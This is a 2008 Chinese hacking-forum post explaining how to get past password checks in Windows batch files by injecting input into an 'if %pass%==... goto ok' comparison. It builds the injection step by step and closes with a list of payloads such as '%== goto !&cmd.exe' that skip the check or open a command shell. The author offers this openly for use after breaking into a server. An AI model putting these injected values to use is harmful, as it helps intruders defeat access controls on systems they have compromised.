找回密码
 开放注册

QQ登录

只需一步,快速开始

微信登录

微信扫码,快速开始

搜索
查看: 809|回复: 0

Dos下的溢出--代码型的程序溢处

[复制链接]

633

主题

3624

回帖

9063

牛毛

论坛管理员

堕落天使

积分
11301
QQ
发表于 2008-10-30 21:10:49 | 显示全部楼层 |阅读模式
Dos下的溢出--代码型的程序溢处

第一节(由来篇):
前几天上网的时候,无意间看见一个给CMD加密码方法,于是试了一下还不

错,于是忽然有了一个想法,能不能破解掉?于是乎,就有了以下这些东西.
上网搜了一下,发现还没有直接在CMD里破解的方法,都是绕过,或者爆破(

输入\"<\" \">\" \"|\"之类的符号,导致批处理出错,关闭),但是好像不行,没有一点技

术含量.
看了一下密码的验证的整个过程,发现不论什么批处理,都是两条代

码:\"set /p pass==请输入密码:\",\"if %pass%==hackerrose goto ok\"这两句命令

就不用解释了,家都明白.现在看这个验证命令\"if %pass%==hackerrose goto

ok\",发现不论上边输入的是什么字符都会加载到该命令里执行,那么我们能不能构

建特殊代码跳过这个过程?或者加载某个特殊命令?

第二节原理篇)
开始构建特殊代码,看看这条命令:\"if %pass%==hackerrose goto ok\"(

如果pass=&#39;hackerrose&#39;那么跳转到OK),不难发现,当密码正确时就会跳到OK处继

续执行.那么,我们目的就是让程序跳到OK处.开始构建溢出代码....
先看一下可以利用的地方\"if %pass%==hackerrose goto ok\",只有pass

可以替换成任意字符,那么只有到这里做文章了.
先去掉pass,变成\"if %%==hackerrose goto ok\",先要完成程序的判断过

程,否则这条命令不能运行,让pass=&#39;pass%==hackerrose goto ok&#39;,则命令变

成\"if %pass%==hackerrose goto ok%==hackerrose goto ok\",这样后面的\"%

==hackerrose goto ok\"由于变量最后缺少一个%,不完整,所以无效.再回过头来看

看还可以加些什么...
当IF判断命令执行完后,密码错误,跳转没有实现.看看我们加些什么可以

让跳转实现,大家都知道在批处理中\"&\"和\"&&\"可以将两条命令并做一条执行.那还

等什么,赶紧给后边加上\"&goto ok\"试试.那么pass=&#39;pass%==hackerrose goto ok

&goto ok&#39;,命令就变成了:if %pass%==hackerrose goto ok &goto

ok==hackerrose goto ok. 填进去试试
溢出成功!程序成功跳到了OK标记处!简单的溢出代码就构建完成了!

第三节深入篇)
现在,我们成功的溢出了密码的验证过程,光有这些还不够,还要深入研究

下.
继续看溢出代码pass=\"pass%==hackerrose goto ok &goto ok\",发现前

面的%pass%变量就没有用,因为程序会把我们填写的溢出代码与密码比较,自然不

相等了,那么直接将变量去掉,这里要注意了,变量不能完全去掉,否则前边的if判

断语句不能完成命令就会出错,但是我们可以将变量名去掉,只留下%%,那么代码就

变成了pass=\"%==hackerrose goto ok &goto ok\",试一下...溢出成功!!
继续深入,既然变量名字都没了,那还跟密码比较什么?&#39;hackerrose&#39;干脆

也去掉,代码变成:pass=\"%== goto ok &goto ok\",试一下.....溢出成功!!!
继续深入,代码中前面的&#39;goto ok&#39;没有实际的作用,只不过是为了完成if

的判断命令,那么跳转的标记我们可以随便改,但是注意不能留空!负责if判断命令

不能完成,出错.改成任意一个字符,只要不导致批处理出错就行了,换成&#39;!&#39;看看.

代码就变成了pass=\"%== goto !&goto ok\",拿去试试....照样溢出成功!

第四节原理篇)
搞了这么久,相信大家也都看懂了,其实我们就是利用程序过滤不严,构建

了特殊代码,程序加载执行了外部代码,导致程序溢出(貌似和SQL注入很相似^.^).

其实&#39;&&#39;的后边不一定跟&#39;goto ok&#39;,你也可以跟自己想要执行的DOS命令,但是只限

单独命令一条.

第五节利用篇)
这个溢出的利用其实很简单,就是破解加密的cmd的密码.某天入侵了一台

服务器,提权时发现cmd加密了,就不再那么郁闷了.用溢出代码轻松搞定!还能取消

加密..还可以轻松破掉各种批处理的密码等等.....大家自己开发利用.


文章写的不好,大家见谅,不要骂我哦,如果有不足的地方,还希望高手帮

忙指正... ^.^

我的QQ号:398892066或者624118310
Blog: Http://blog.hackerrose.cn
QQ技术交流群:1940313
欢迎大家前来技术交流!
原始代码:
pass%==hackerrose goto ok &goto ok

第一种:
%==hackerrose goto rose &cmd.exe
%==hackerrose goto rose &goto 2

第二种:
%== goto hackerrose &cmd.exe
%== goto hackerrose &goto 2

第三种:
%== goto !&cmd.exe
%== goto ~&cmd.exe
%== goto .&cmd.exe
%== goto @&cmd.exe
%== goto $&cmd.exe
%== goto %&cmd.exe
%== goto ^&cmd.exe
%== goto *&cmd.exe
%== goto -&cmd.exe
%== goto +&cmd.exe
%== goto _&cmd.exe
%== goto &#39;&cmd.exe
%== goto ?&cmd.exe
%== goto /&cmd.exe
%== goto \\&cmd.exe

终极用法:

清除密码:%== goto !
您需要登录后才可以回帖 登录 | 开放注册

本版积分规则

帮助|Archiver|小黑屋|通信管理局专项备案号:[2008]238号|NB5社区 ( 皖ICP备08004151号;皖公网安备34010402700514号 )

GMT+8, 2025-1-16 14:56 , Processed in 0.123310 second(s), 23 queries , Yac On.

Powered by Discuz! X3.5

快速回复 返回顶部 返回列表